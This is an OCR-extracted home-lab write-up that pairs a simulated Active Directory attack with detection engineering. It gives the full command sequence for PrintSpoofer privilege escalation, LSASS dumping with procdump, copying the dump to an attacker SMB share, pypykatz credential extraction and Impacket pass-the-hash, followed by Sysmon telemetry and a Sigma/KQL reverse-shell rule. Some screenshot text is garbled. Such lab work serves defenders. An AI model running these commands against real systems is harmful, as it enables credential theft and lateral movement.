message Process Creste: RuleName: - UtcTime: 2025-12-24 16:34:46.342 ProcessGuid: {5B3BBE95-1626-694C-8
EB2-ABARARAAT0EA} ProcessId: 5384 Image: C:\Mindows\Temp'PrintSpoofer.exe FileVersion: - Description: -
Product: - Company: - OriginalfileMame: - Commendline: C:\Mindows\Temg'PrintSpeofer.exe -i - omd Curr.
message File created: RuleMame: EXE UtcTime: 20825-12-24 16:33:28.974 ProcessGuid: {SB3BBE9S-1109-694C-6
462-PBBPARAAT0EA} ProcessId: 1868 Image: C:\Mindows\system3Z'cnd.exe TargetFilename: C:\Nindows\Temp\Pr

» Log Snippet (JSON / Kibana):

Decument

Actions:

Table

M View single document

1of & > 2

3 View surrounding decuments

[ Copy to clipboard
{5B3BBEY3-1109-694C- 6402 - a0880 i
*ParentCommandLine” : “cmd”
*ProcessId’: "374R°
“Description™: -7,

__FileVersion: "',

*CurrentDirectory”:
‘CvilsersiiNorna
*Imege”: *C:ViNindos

“Integritylevel: °Sy
‘ParentProcessId”:
‘Product”: *-7,
“Company”: =",
“UtcTime": "Z@25-12-24 17:87:12.322",
“OriginalFileName’: "-°

*Haszhes”: "MD5=183DA7SDE14314586F0
SHAZS6=8324FBCADT. E

TF186S,
BEFISCOBGTRSE

TO3FACAITIBEFASEIADTEDF",
“TerminzlSessionld”: "@7,

*ParentUser®: "NT AUTHORITY'\\SYSTEM",

"LogonGuid®: " {3B2BBEQS-F249-6048-E763 - BRBRBOBEEERG

“User®: "NT AUTHORITY\\SYSTEM®,
“CommandLine” : “C:\\Windows\\Temp\\PrintSpoofer.
exe -1 -cocad”.

"winlog.event data.ParentUser": ["NT AUTHORITY\\SYSTEM"],
"“winlog.event data.CommandLine": ["C:\\Windows\\Temp\\PrintSpoofer.exe -i -
ccmd"],

"message”: "Process Create: ... User: NT AUTHORITY\\SYSTEM"



MITRE ATT&CK Mapping

Technique ID
Access Token Manipulation T1134
Abuse Elevation Control Mechanism  T1548

SMB Tool Transfer T1105

Outcome

e A successful Privilege Escalation was performed from NormalUser - SYSTEM
using SelmpersonatePrivilege via PrintSpoofer.

» All attack steps were recorded in Sysmon Telemetry, enabling the design of
precise Detection Rules to monitor such activities.

Step 3: Credential Dumping: LSASS Memory

The objective is to extract the credentials stored in the memory of the 1sass.exe
process (Local Security Authority Subsystem Service). Since we have SYSTEM
privileges, we can read the memory and extract the NTLM Hashes of logged-in
users, paving the way for the Lateral Movement.

3.1 Preparing the Tools on the Attacker's Machine

e The required tools have been downloaded onto the attacker's machine:

wget https://download.sysinternals.com/files/Procdump.zip

unzip Procdump.zip
e Check the contents of the folder after unzipping:

ubuntuvm@ubuntuvm:~/Lab$ ls
Eula.txt PrintSpoofer64.exe procdump64a.exe procdump6éd.exe procdump.exe
Procdump.zip reverse shell.exe

3.2 Running the SMB Server to Transfer Tools

¢ From the attacker's machine, the SMB Server is run to share tools with the
victim:



cd ~/Lab

sudo python3 smbserver.py share . -smb2support

| e The tools are now ready to be transferred to the victim's machine.

3.3 Transferring Tools to the Victim's Machine

e From a SYSTEM shell on the Windows client:

copy \\192.168.56.104\share\procdump64.exe C:\Windows\Temp\procdump.exe

e \erification :

dir C:\Windows\Temp\

ubuntuvm@ubuntuvm: ~

operable program or batch file.

ubuntuvm@ubuntuvm: fusr/she

ubuntuvm@ubuntuvm: ~

C:\Windows\system32>dir C:\Windows\Temp\
dir C:\Windows\Temp\
Volume in drive C has no label.
Volume Serial Number is 8ESB-F7C3

Directory of C:\Windows\Temp
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10:4
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06:1
02:3
p2:3
02:3
03:4:
06:
05:2
04:
09:2

AM
PM
PM
PM
PM
PM
PM
PM
AM
PM
AM
AM

<DIR>
<DIR>
<DIR>
<DIR>

178,284
8,992
27,136
720,968

767CA467-AABB -444F-9917-(C88295A037CDb48.1dc73aa431b8a8b
DiagOutputDir

FXSAPIDebuglogFile.txt

FXSTIFFDebuglLogFile. txt

mat-debug-1704. log

mat-debug-1904.log

MpCmdRun. log

MpSigStub. log

PrintSpoofer.exe

procdump.exe

8 File(s)
4 Dir(s)

935,380 bytes
2,616,535,040 bytes free

E:\Hindows\system32rl

| Well Done

3.4 Creating a Memory Dump for the LSASS Process

Objective:
To create a memory copy of the 1sass.exe process containing the stored
credentials.



e From within the SYSTEM shell on the victim machine, Procdump was used to
create a dump for the LSASS process:

C:\Windows\Temp\procdump.exe -accepteula -ma lsass.exe
C:\Windows\Temp\lsass.dmp

¢ Command explanation:
- -accepteula — Automatically accepts the Sysinternals EULA
- -ma - Creates a full memory dump
- lsass.exe —Target process
- lsass.dmp - Output dump file

e Dump verification:

dir C:\Windows\Temp\

| Well Done

3.5 Exfiltrating the LSASS Dump

The LSASS memory dump was transferred to the attacker machine for offline

analysis:

copy C:\Windows\Temp\lsass.dmp \\192.168.56.104\share\lsass.dmp

ubuntuvm®@ubuntuvm: ~

ubuntuvm@ubuntuvm: fusr/share/d... ubuntuvm@ubuntuvm: ~

Directory of C:\Windows\Temp
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11:0
09:27
05:2
06:1
02:3
02:
11:
02:
03:¢
06:
05:2
04:
09:2
10:
10 File(s)
4 Dir(s)

AM
PM
PM
PM
PM
PM

5 AM

PM
PM
AM
PM
AM
AM
AM

<DIR>
<DIR> -
> 767CA467-AAB8-444F-9917-C88295A037CDb48.1dc73aa431b8a8b
DiagOutputDir
FXSAPIDebuglogFile.txt
FXSTIFFDebuglLogFile.txt
54,575,903 lsass.dmp
0 mat-debug-1704.10og
0 mat-debug-1904.10og
178,284 MpCmdRun. log
8,992 MpSigStub.log
27,136 PrintSpoofer.exe
720,968 procdump.exe
0 procdump. log
55,511,283 bytes
62,561,992,704 bytes free

C:\Windows\system32>copy C:\Windows\Temp\lsass.dmp \\192.168.56.104\share\lsass.dmp
copy C:\Windows\Temp\lsass.dmp \\192.168.56.104\share\lsass.dmp
1 file(s) copied.

C:\Hindows\system32;l




| Done

3.6 Credential Extraction on the Attacker Machine

Because the attacker machine is Linux-based, Mimikatz cannot be executed
natively.

Therefore, pypykatz was used to perform offline analysis of the LSASS memory
dump.

_ Installing pypykatz (via pipx)

sudo apt install python3-pip pipx -y
pipx ensurepath
pipx install pypykatz

] Analyzing the LSASS Dump

¢ Run the LSASS Dump analysis and save the output to a file

pypykatz lsaminidump lsass.dmp >

ubuntuvm@ubuntuvm: ~ ubuntuvm@ubuntuvm: fusr/share/d... ubuntuvm@ubuntuvm: ~ ubuntuvm@ubuntuvm: ~/Lab

== LogonSession ==
authentication id 6109958 (5d3b06)
session id 1
username AdminUser
domainname TEST
logon _server DC
logon time 2025-12-24T16:22: 9
sid S-1-5-21-958516434-35370 4
luid 6109958
== MSV ==
Username: AdminUser
Domain: TEST
LM: NA
NT: f56a8399599f1be040128b1dd9623c29
SHA1: 3edb384812cbed4c90713bca316eb3739fe2541f1
DPAPI: 45d3074f63f326f4083aac9daab2dbf400000000
== Kerberos ==
Username: AdminUser
Domain: TEST.LOCAL
Password: P@55wOrd
password (hex)50004000240024007700300072006400
AES128 Key: f56a8399599f1bef40128b1dd9623c29
AES256 Key: 7ef616f14e03667888f4c7141073764c6752ec4beP948a1d1dd9e3fcd6052eds

2+00:00
92618756-1112

The account | had created as AdminUser, to which | had given Administrator
privileges, and its password appeared.

3.7 Credential Dumping Results (Key Findings)

Analysis of the LSASS memory dump revealed multiple active logon sessions,
including both domain users and local/system accounts.



Recovered Credentials

Account Domain
AdminUser TEST
AdminUser TEST.LOCAL
AdminUser TEST.LOCAL
NormalUser TEST
NormalUser TEST.LOCAL

WIN$ (Machine Account)  TEST

Credential Type
NTLM Hash
Kerberos AES128 /| AES256
Plaintext Password
NTLM Hash
Kerberos Keys

NTLM & Kerberos Keys

| Indeed, on this machine, | only logged in with AdminUser and NormalUser.

Critical Observation

¢ Plaintext credentials were recovered from LSASS memory, indicating active

Kerberos sessions.

e The same NTLM hash appeared across multiple sessions, confirming credential

reuse.

e Both privileged and low-privileged domain accounts were cached in memory.

Telemetry Analysis - Credential Dumping (LSASS)

_IProcess Creation — Sysmon (Event D 1)

e Confirms execution of Procdump prior to LSASS access.

event.code:1 and lsass.exe or lsass.dmp

e Command Line:

C:\Windows\Temp\procdump.exe -accepteula -ma lsass.exe

C:\Windows\Temp\lsass.dmp
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Document < Tof 2 > 3
o - @ Q event.code:1 and Isass.exe and Isass.dmp o v | Today L3 Refresh Actions: [ View single document 3 View surrounding decuments
g ]
1 breakdown iy}
Table JSON
[f Copy to clipboard
UL T U e T T ML w b S suBLs sy
a7 “OriginalFileNsme”: “procdump”,
e e a8 "Description®: "Sysinternsls process dump utility®,
] *C "1 "Sysint 1s - . int 1a.
Dec 24, 2025 @ 00:00:00.000 - Dec 24, 2025 @ 23:59:59.999 (interval: Auto - 30 minutes) e cmpany yEinternats - EyEAnTEInats com
a8 "FileVersion™: "11.1°
$ Sort fields 1 Q o @ 21 *CommandLine”: "C:\\Windows\\Temp\\procdump.exe
o | =
-accepteula -ma lsass.exe
Summary C:\\Windows\\Temp\\1lsass.dmp”, -
event.code ] message Process Create: RuleName: - UtcTime: 2825-12-24 19:@85:19.533 ProcessGuid: {5B3BBE95-396F-69 9z "CurrentDirectory”: "C:i\Windowsileystem3a2\\",
AC-BFE3-8068R8AE1DA8} ProcessId: 3736 Image: C:\Windows\Temp\procdump.exe FileVersion: 11.1 Description: Sysinte 93 "Logonld”: "Bx3el”,
rnals process dump utility Product: ProcDump Company: Sysinternals - www.sysinternals.com OriginalFileName: pro_ 94 ‘ParentImage”: "C:\\Windows\\System3Z\icnd.exe”,
event.code 1 message Process Create: RuleName: - UtcTime: 2825-12-24 18:57:47.875 ProcessGuid: {SB3BBE95-37AB-69 95 ParentUser”: "NT AUTHORITY\\SYSTEM",
4C-8083-9AGEAAAE1DAA} ProcessId: 5188 Image: C:\Windows\Temp\procdump.exe FileVersion: 11.1 Description: Sysinte 96 Hashes": "MD5=74GEB878C800738096284058831E3153F1,
rnals process dump utility Product: ProcDump Company: Sysinternals - www.sysinternals.com OriginalFileMName: pro. SHAZ56=DE24EIFB3031 3BT 1F7B03052EBEATBAGASDOBOSATAD
B3FBE1358EDB7I6BEDSR2,
IMPHASH=2EFO764DA9259710EEFD6ITIEABALARA”
97 +
a8 “event_id": "1°
99
188 '

JFile Creation - Sysmon (Event ID 11)

e Records creation of the LSASS memory dump on disk.
event.provider:"Microsoft-Windows-Sysmon" and event.code:11 and lsass.dmp

e Target File: C:\Windows\Temp\lsass.dmp

wusas vwe s
It v = @ ), event.provider:"Microsoft-Windows-Sysmon” and [~} ~ | Today ) Refresh Actions: [1 View single document B View surrounding documents
1 breakdown b}
Table JSON
(i Copy to clipboard
a7 . "NT AUTHORITY",
Q80 12:00 18:00 a8 "name”: "SYSTEM",
EL “type”: “User”
Dec 24, 2025 @ 00:00:00.000 - Dec 24, 2025 @ 2350°50.099 (interval: Auto - 30 minutes) u ,
a1 “event_data”
Sort fields 1 =
b serfietas Qm =0 a2 "ProcessBu
Summary {3B3BBEVS-306F-694C-8FA3-2A808088 1088} ",
event.code 11 event.provider Microsoft-Windows-Sysmon message File created: RuleName: - UtcTime: 2825-12-24 19:8 a2 ProcessId": "3736",
5:19.564 ProcessBuid: {5B3BBE95-396F-604C-AFA3-AAARRERA1DEA} ProcessId: 3736 Image: C:\Windows\Temp\procdump.exe a Image”: "C:\\Windows\\Temp\\procdump.exe®,
TargetFilename: C:\Windows\Temp\lsass.dnp CreationUtcTime: 2625-12-24 10:85:19.564 User: NT AUTHORITY\SYSTEM_ 43 ‘TargetFilename”; "C:\iMlindows\\Temp\\lsass.dmp”,
. ) ) 25 “CreationlitcTime®: "2025-12-24 19:85:10. 564",

event.code event.provider } n message File created: RuleName: - UtcTime: 2825-12-24 138:5
7:47.119 ProcessGuid: { 1088} ProcessId: 5188 Image: C:\Windows\Temp\procdump.exe i User”: “NT AUTHORITY\\SYSTEM",
TargetFilename: C:\Windows\Temp\}s e CreationUtcTime: 2825-12-24 18:57:47.119 User: NT AUTHORITY\SYSTEM_ a8 RuleName™: -7,

a0 “UtcTime™: "2825-12-24 19:85:10.564"

56 +

51 "provider_guid™: "

{57783B5F-C224-43E6-BFAC-B6FS60BFFEDS )",
52 “recerd_id": 3726,
52 “opcode’|: “Info”,

This artifact represents post-exploitation evidence and can be correlated with
Event ID 10 for strong detection logic.

MITRE ATT&CK Mapping

Technique ID
OS Credential Dumping: LSASS Memory T1003.001

Access Token Manipulation (precondition) T1134

Credential Access TAO006



Outcome

¢ LSASS memory successfully dumped using a signed Microsoft utility

No credential dumping tools executed on the victim endpoint

High-fidelity Sysmon telemetry generated (Event IDs 1, 11)

Strong detection opportunities with minimal false positives

Environment fully prepared for Pass-the-Hash lateral movement

"4 The next step is to leverage the NTLM Hash to migrate to the Domain
Controller.

Step 4 - Lateral Movement: Pass-the-Hash
Objective

Move laterally from the compromised Windows Client to the Domain Controller
(DC) using dumped credentials, without needing the plaintext password.

4.0 Environment Verification

Domain Controller IP:

C:\Users\Administrator>ipconfig
Windows IP Configuration

Ethernet adapter Ethernet:
Connection-specific DNS Suffix .:
IPv4 Address...........:192.168.56.101
Subnet Mask...........:255.255.255.0
Default Gateway.........:

Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix .:home

Link-local IPv6 Address.....: fe80::1128:T9b9:a€90:8132%12
IPv4 Address...........:192.168.1.8

Subnet Mask...........:255.255.255.0

Default Gateway.........:192.168.1.1

"4 Confirmed target DC IP is 192.168.56.101 .

4. Credential Selection



¢ Although the plaintext password P@$$wOrd is available, this scenario simulates
Pass-the-Hash attacks, so we will use the NTLM hash:’

aad3b435b51404eeaad3b435b51404ee:f56a839959911be040128b1dd9623¢c29

4.2 Executing Pass-the-Hash Attack

Environment: Ubuntu attacker VM with Impacket installed.

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
sudo pip3 install.--break-system-packages

(Attack Paths)
I PsExec (NTLM)

psexec.py TEST/AdminUser@192.168.56.101 \
-hashes aad3b435b51404eeaad3b435b51404ee:f56a8399599f1be040128b1dd9623¢c29

Output:

ubuntuvm@ubuntuvm:~/Lab/impacket/examples$ psexec.py
TEST/AdminUser@192.168.56.101 \

-hashes aad3b435b51404eeaad3b435b51404ee: 56283995991 1be040128b1dd9623c29
Impacket v0.14.0.dev0+20251222.151741.b7f9f3b9 - Copyright Fortra, LLC and its
affiliated companies

[*] Requesting shares on 192.168.56.101.....

[*] Found writable share ADMINS$

[*] Uploading file PtDSkjGB.exe

[*] Opening SVCManager on 192.168.56.101.....

[*] Creating service ARKqg on 192.168.56.101.....

[*] Starting service ARKq.....

[*] Opening SVCManager on 192.168.56.101.....

[-]1 Error performing the uninstallation, cleaning up

I PsExec failed to execute fully due to endpoint protection / service cleanup,
simulating real-world defensive controls.

] SMBExec (Alternative)



smbexec.py TEST/AdminUser@192.168.56.101 \
-hashes aad3b435b51404eeaad3b435b51404ee:f56a8399599f1be040128b1dd9623¢c29

Output:

ubuntuvm@ubuntuvm:~/Lab/impacket/examples$ smbexec.py
TEST/AdminUser@192.168.56.101 \

-hashes aad3b435b51404eeaad3b435b51404ee:f56a8399599f1be040128b1dd9623c29
Impacket v0.14.0.dev0+20251222.151741.b7f9f3b9 - Copyright Fortra, LLC and its
affiliated companies

[-] SMB SessionError: code: 0xc0000034 - STATUS OBJECT NAME NOT FOUND - The
object name is not found.

| I\ Failed due to missing system objects required for SMBExec execution.

] Attempts Using Plaintext Password

psexec.py TEST/AdminUser:P@$$w0rd@192.168.56.101
wmiexec.py TEST/AdminUser:P@$$w0rd@192.168.56.101

Output:
[-] SMB SessionError: code: 0xc000006d - STATUS LOGON FAILURE

I\ Failed due to endpoint authentication restrictions or password complexity
handling.
Even with the correct password, defenses prevented execution.

WMIExec (Safer & More Successful)

wmiexec.py TEST/AdminUser@192.168.56.101 \
-hashes aad3b435b51404eeaad3b435b51404ee:f56a8399599f1be040128b1dd9623¢c29

out :

ubuntuvm@ubuntuvm:~/Lab/impacket/examples$ wmiexec.py
TEST/AdminUser@192.168.56.101 \

-hashes aad3b435b51404eeaad3b435b51404ee:f56a8399599f1be040128b1dd9623¢c29
Impacket v0.14.0.dev0+20251222.151741.b7f9f3b9 - Copyright Fortra, LLC and its
affiliated companies



[*] SMBv3.0 dialect used

[ANTLM authentication successful

(74SMB session opened

"4Pass-the-Hash working

> Remote command execution blocked (likely Defender/ASR)

4.3 Evidence from the DC device

e On the Domain Controller, a Security Event ID 4624 was generated, indicating
a successful network logon (Logon Type 3) using NTLM authentication.

e The logon was performed under the AdminUser domain account and originated
from the attacker machine ( 192.168.56.104 ), confirming that the NTLM hash
was successfully reused without knowledge of the plaintext password.

winServer (Clean After DC) [Running] - Oracle VirtualBox

File Machine View Input Devices Help

] ) ] {2] Event Properties - Event 4624, Microsoft Windows security auditing. *
File Action View Help
= 2 c  HE General | Details
@ Event Viewer (Local) = —_
#, Custom Views Account Name: AdminUser

~ [a Windows Logs
= Application
5| Security
=] Setup

Account Domain: TEST
Legon ID: OxFe062B
Linked Logon ID: 0x0
MNetwork Account Name: -
MNetwork Account Domain: -

[8)]
ly
AL

] System Logon GUID: {00000000-0000-0000-0000-000000000000}
= Forwarded Events

- L . Process Information:
Applications and Services Logs

- - Process ID: 00
4 Subscriptions Process Name: =

MNetwork Information:
Workstation Narme: =
Source Metwork Address:  192.168.56.104
Source Port: 39842

. Detailed Authentication Information:
Logon Process: NtLrmSsp
Authentication Package: NTLM —

T miao o

Log Mame: Security
Source: Microsoft Windows security Logged: 12/24/2025 1:24:51 PM
Event ID: 4624 Task Category: Logon
Level: Information Keywords: Audit Success
User: MN/A Computer: DC.Test.local
OpCode: Info
More Information:  Event Log Online Help

Copy Close

Creates a filter.

Telemetry Analysis - Lateral Movement: Pass-the-Hash

» Kibana telemetry confirms a successful NTLM-based network logon (Event ID
4624) to the Domain Controller using the AdminUser account.



t~ || = @ O eventcodei4624 and agent hostname : "DC" and il v | Last1 hour &2 Refresh Actions: [0 View single document & View surrounding documents

breakdown v o)
Table JSON
I I I I I J [ Copy toclipboard
L] "Audit Success”
_ F—— _.I_I_-'-III--I._-- .-.- _I.- -_-_I_- . :

2 "event_data”: {

Dec 24, 2025 @ 22:31:49.467 - Dec 24, 2025 @ 23:31:49.467 (interval: Auto - minute) 23 *LogonGuid”: " ¥
I sortfields 1 | O B = 24 "Keylength": "128",

2 "IpAdd "1 "192.168.56.184",
Summary (3) 25 phddress

26 *IpFort”: "S18BE",
agent.hostname DC agent.name DC event.code 4624 winlog.event_data.lLogonType 3 @timestamp Dec 24, 2823 0 23:31:4 27 "SubjectUserSid”: "S-1-8-8"

9.436 agent.ephemeral_id 441c968e-fbbd-48f5-b11c-28d12e1e2d99 agenmt.id 462d1126-8a23-483c-b679-32dd37ecalnd . ~ B .

28 LogonProcessiame” : “NtlmSsp °,
agent.type winlogbeat agent.version 9.2.3 ecs.version £.0.8 event.action Logon event.created Dec 24, 2825 0 2. 20 AuthenticationPackagelane” s “NTLH-
agent.hostname D agent.name D event.code 4624 winlog.event_data.lLogonType 3 Stimestamp Dec 24, 2825 0 23:38:5 28 *Impersonationlevel”: "Impersonation®,
1.536 agent.ephemeral_id 441c%G8e-fbbd-48f3-b11c-20d12e1e2d99 agent.id 462d1126-8a33-483c-b679-32dd3Tecaind 1 "TargetDutboundUserName™ : "-°
agent.type winlogbeat agent.version 9.2.3 ecs.version 8.8.8 event.action Logon event.created Dec 24, 2825 0 2. 32 *TargetLinkedLogonId”™: *Bx@"
agent.hostname DL agent.name DC event.code 4624 winlog.event_data.logonType 3 @timestamp Dec 24, 2825 0 23:38:4 33 *SubjectDomainName” : *-"

0.430 agent.ephemeral_id 441c068e-fbbd-4Bf5-b11c-28d12e1e2d00 agent.id 462d1126-Bai3-4B3c-b670-32dd3Tecadad 34 “WorkstationNeme™: "-~
agent.type winlogbeat agent.version 9.2.3 ecs.version £.8.9 event.action Logon event.created Dec 24, 2825 0 2. 35 "TargetLogonId”: "@xfab2da",
agent.hostname Df agent.name D event.code 4624 winlog.event_data.logonType 3 @timestamp Dec 24, 2825 0 23:20:4 36 "LogonType": "3",
9.411 agent.ephemeral id 441c%G8e-fbbd-48f5-b11c-20d1221e2d99 aaent.id 462d1126-8a33-483c-b679-32dd37ecadnd a7 *ProcessName”: "-°

12 3 > 2n "Wirtnalhreount: "Na®

Log Interpretation

"LogonType": "3"

"TargetUserName": "AdminUser"
"TargetDomainName": "TEST"
"event.code": "4624"

"event.outcome": "success"
"AuthenticationPackageName": "NTLM"
"LmPackageName": "NTLM V2"
"LogonProcessName": "NtLmSsp"
"IpAddress": "192.168.56.104"
"ElevatedToken": "Yes"
"ImpersonationLevel": "Impersonation”

e |'ve extracted some parts of the log to illustrate what we're looking for:

 This log indicates a successful network authentication (Login Type 3) on
the domain controller using the AdminUser domain account.

» The session was authenticated over NTLM (NTLMv2) using the NtLmSsp
login process, rather than Kerberos, which is a strong indicator of hash
reuse.

e The source IP address (192.168.56.104) matches the attacker's machine,
confirming lateral transfer from a remote host.

e Furthermore, the presence of an extended privileges token and spoofing-
level access indicates that the attacker has achieved administrator-level
authentication, consistent with a hash pass-through attack, despite remote
command execution being blocked by the endpoint protections.

MITRE ATT&CK Mapping



Tactic Technique ID

Lateral Movement Pass-the-Hash T1550.002
Credential Access  OS Credential Dumping  T1003.001

Outcome

e The attacker successfully reused the leaked NTLM hash to authenticate the
domain controller across the network, achieving a side-penetration attack
without using plaintext credentials.

¢ While the endpoint protections interactively blocked the remote command
execution, the generated NTLM authentication trace data (event ID 4624)
confirms the success of the hash-passing attack, demonstrating the
effectiveness of hash reuse for side-penetration attacks in Active Directory
environments.

The attack was carried out completely, without the need to disable Windows
Defender on the devices.

/| Detection Engineering: Sigma Rules &
ELK Implementation

I Important: Each subsection below follows the same structure
Attack - Telemetry - Detection - Alert Validation

71 Initial Access — Reverse Shell
MITRE ATT&CK

e T1059 - Command and Scripting Interpreter

In Kibana :

event.provider:"Microsoft-Windows-Sysmon" and event.code:3


https://attack.mitre.org/techniques/T1059/

Untitled +

Data view Security solution default = 0 () event.provider:"Microsoft- [<] e @]
Windows-Sysmon" and

Auto interval No breakdown event.code:"3 e

. @ and

10

8 a@ or

6

3 J IQ event.provider:“"Microsoft-Windows- ..

23rd 24th Z5th 26t n

December 2025

Dec 21, 2025 @ 00:00:00.000 - Dec 27, 2025 @ 23:59:59.998 (interval: Auto - 3 hours)

Documents (34)  Field statistics T sortfieds 1 Q =

J. Summary (3

EVENT.COUE § EVENU.Proviger MUGLOSULL-MANUODWS-SYSION CLIMESTamp UsC 24,
20825 ©@ ©5:07:46.149 agent.ephemeral_id 225467ca-7c8c-4873-b7be-19f2d8f27
54b agent.hostname Win agent.id ccf98b77-8694-473e-9e@1-15f6a72f33ed..

[ @ @timestamp (&

| J » UEC 24, 202D B WD:IW/i40. 189

] " Dec 24, 2025 @ @1:49:47.758 event.code 3 event.provider Microsoft-Windows-Sysmon @timestamp Dec 24,
20825 © @1:40:47.758 agent.ephemeral_id b1f5782d-3e74-43ba-be8f-55a7567bf

9f8 agent.hostname DC agent.id 462d1126-8a33-483c-b679-32dd37eca3es..

] " Dec 24, 2025 © @09:38:02.392 event.code 3 event.provider Microsoft-Windows-Sysmon @timestamp Dec 24,
2825 © @@:38:92.392 agent.ephemeral_id b1f5782d-3e74-43ba-be8f-55a7567bf

9f8 agent.hostname DC agent.id 462d1126-8a33-483c-b679-32dd37eca3es..

Rows per page: 100 ~ <12

Attack Description

Document

1< < 25 of 34 > >

Actions: [ View single document B View surrounding decuments

Table

14
15
16

17
18
19
28
21
22
23
24
25
26
27
28
29
20

JSON

(@ Copy to clipboard

Initiated™: “true”,
"RuleName”: "Usermode",
"ProcessGuid’: ”

{5B3IBBEY5-59871-694B-4C01-006600001868)",
"SourcePortName™: "-"
“User™: "TEST\\NormalUser”,
‘Sourcelp”: "192.168.56.102",
"DestinationHostname™: "-"
‘DestinationPort”: “4444°
"SourceHostname™ : "Win.Test.local",
"Protocol™: "tep”,
"SourceIsIpve”: "false",
"DestinationIsIpv6”: "false",
‘DestinationIp”: "192.168.56.1084",
‘DestinationPorthame”: "-"
"UtcTime": "2025-12-24 03:07:45.829",
"ProcessId”: "5928°,

“Tmana®

e Areverse shell payload was executed on the Windows client, establishing an

outbound connection to the attacker.

Detection Rule (Sigma)

title: Suspicious User-Space Process Initiating Outbound TCP Connection

id: 7f9c8b3a-2c1d-4d1b-9e13-aaaal1112222
status: experimental
description: >

Detects suspicious outbound TCP connections initiated by processes
running fromuser-writable or non-standard locations, optionally
spawned by common scripting or document-based parent processes.

This behavior is commonly associated with reverse shells or C2 activity.

author: Abdelwahab Shandy

date: 2025/12/24

references:
-https://attack.mitre.org/techniques/T1059/
tags:

-attack.initial access

-attack.t1059

logsource:
product: windows
service: sysmon

detection:
selection network:
EventID: 3
Initiated: "true"
Protocol: "tcp"
Image|contains:



- "\\Users\\"

- "\\ProgrambData\\"
- "\\Windows\\Temp\\"

selection suspicious parent:
ParentImage|endswith:
- "\\winword.exe"

- "\\excel.exe"

- "\\powershell.exe"
-"\\wscript.exe"
- "\\cscript.exe"

filter known legitimate paths:

Image|contains:

- "\\Program Files\\"

- "\\Program Files (x86)\\"

- "\\AppData\\Local\\Programs\\"
- "\\AppData\\Local\\Microsoft\\"

condition: selection network
and not filter known legitimate paths
and (selection suspicious parent or true)

falsepositives:

-Legitimate automation scripts
-Developer tools executed fromuser directories
-0ffice add-ins or macros in controlled environments

level: high

Element
Sysmon Event ID 3
Initiated = true
TCP protocol
User-writable paths

No filename checks

Why it matters
Captures direct network behavior
Indicates outbound / reverse connections
Interactive command-and-control channel
Common malware staging locations

Resilient to binary renaming and masquerading

e This means that even if you rename the file to something else, like
chrome.exe , as long as it runs in the areas where Path Masquerading is
enabled, the rule will catch it. It relies on Event ID 3 and excludes some
legitimate programs. Also, if there's a parent process - powershell.exe

 then if the attack was winword.exe - payload.exe - outbound TCP, as in
the scenario, it will be caught.



ELK Detection Logic And Create Rule:

e Name : Suspicious User-Space Process Initiating Outbound TCP Connection
 Rule Type: Custom query (KQL)
e KQL / EQL query used in ELK

event.provider:"Microsoft-Windows-Sysmon"

and event.code:"3"

and winlog.event data.Initiated:"true"

and winlog.event data.Protocol:"tcp"

and (

winlog.event data.Image:"*\\Users\\*" or

winlog.event data.Image:"*\\ProgramData\\*" or
winlog.event data.Image:"*\\Windows\\Temp\\*"

)

and not (

winlog.event data.Image:"*\\Program Files\\*" or
winlog.event data.Image:"*\\ProgramFiles (x86)\\*" or
winlog.event data.Image:"*\\AppData\\Local\\Programs\\*" or
winlog.event data.Image:"*\\AppData\\Local\\Microsoft\\*"
)

| was going to add:

and (

winlog.event data.ParentImage:"*\\winword.exe" or
winlog.event data.ParentImage:"*\\excel.exe" or
winlog.event data.ParentImage:"*\\powershell.exe" or
winlog.event data.ParentImage:"*\\wscript.exe" or
winlog.event data.ParentImage:"*\\cscript.exe"

But I'll stick with the rule above because there's a possibility that, for example,
Sysadmin is running and doing something on PowerShell, so in that case I'm
overriding the rule for myself and making it False Positives.

Default severity : High

Default risk score : 75
Reference URLs https://attack.mitre.org/techniques/T1059/
MITRE ATT&CK™ threats :
e MITRE ATT&CK™ tactic : Execution (TA0002)
e MITRE ATT&CK™ technique : Command and Scripting Interpreter (T1059)



e MITRE ATT&CK™ subtechnique :
 MITRE ATT&CK™ subtechnique :

e Schedule Rule:
e Runs every: 1 minute

PowerShell (T1059.001)
Windows Command Shell (T1059.003)

» Additional look-back time: 1 day (to revert to the previous settings from
when the laptop was first turned on and the task was completed)

[ e

-le a

FRS——

Suspicious User-Space Process Initiating Outbound TCP Connection

About

Desaription

Detects susmicious putbound TCF conneciions riklsted by proces:

dacument-based parent processes. This behavicr ks commanty ‘ated whh reverss shets a C2 activey.

Author

Severity

Risk score
Reference URLs
MITRE ATTACK™

Max aberts per run

=

Fule axceptians

Execution resufts

e m——
* Hoh

unning froem wser-writable of ner-standard localions, apticnaly sawned by Cammon Scripding or

= nitps ifattack milre orgtecheiquesT1033]

Execution {TADD

Detection Result

Definition

Index pattems

Custom query

Custom query language
Rula type

Timsline template

Schedule

Aluns every

Additional look-back time

e | went and carried out the attack again.

e Alert successfully triggered :

o

ML job settings ~

ML job settngs

wringeast

B Add Integrations

@ e

Data view

@ ~ | Today ¥ Refresh

= canraesetnas [ £ |

avent prover BT OO W RTDwE-Sysman®

and event.code:"3"
and wirig event
and wiricg svent
ana (

winlog event_data image:
winlag.cvent_data
winlag.vent_data image:v
1

an nea {
winlag.cvent_data
winlag.event_data

& Add integrations

1
atocot b

winlag.event_data image |, AppData

Data view

Security solution default ~

f® ~ | Today U1 Refresh

v Trend Counts Treemap
Severity levels Alerts by name Top alerts by host.name v
o
Levels Count Rule name Count |, hostname (D
enicious Us R —— - win 76.3% 3§
o High P Suspicious User-Space Procass Initiating Outhound T. 3 i H
d 237% §
TEST- Suspicious Usar-Space Process Initisting Cuth. ER ——
1
[ Columns 12 1 Sortfields 1  3Balerts [T Fields Updated 1 minute ago  Grid view ~  Additional fiters ~  Group alerts by-None ~ B =
[_] Actions (@timestamp J- Rule Assignees Severity Risk Score Reason hostnama usE
O /& @ o Dec 25, 2025 @ 03:57:47.554  Suspicious User-Space Pro... high 75 avent on win crestad high slert Suspicious User-Spaca Process Initisting 0. win -
O 2 & 8 e 2035 @ 03:57:47.545  Suspicious User-Spaca Pro... high 75 n win created high alert Suspicious User-Spaca Process Initiaing 0. win —
O & @ e 2025 @ 0357 Suspicious User-Space Pro... high 75 n win creatad high alert Suspicious User-Space Process Initistng 0. win -
[ = 2035 @ 0357 Suspicious User-Space Pro... high 75 n win created high alert Suspicious User-Spaca Process Initiaing 0. win —
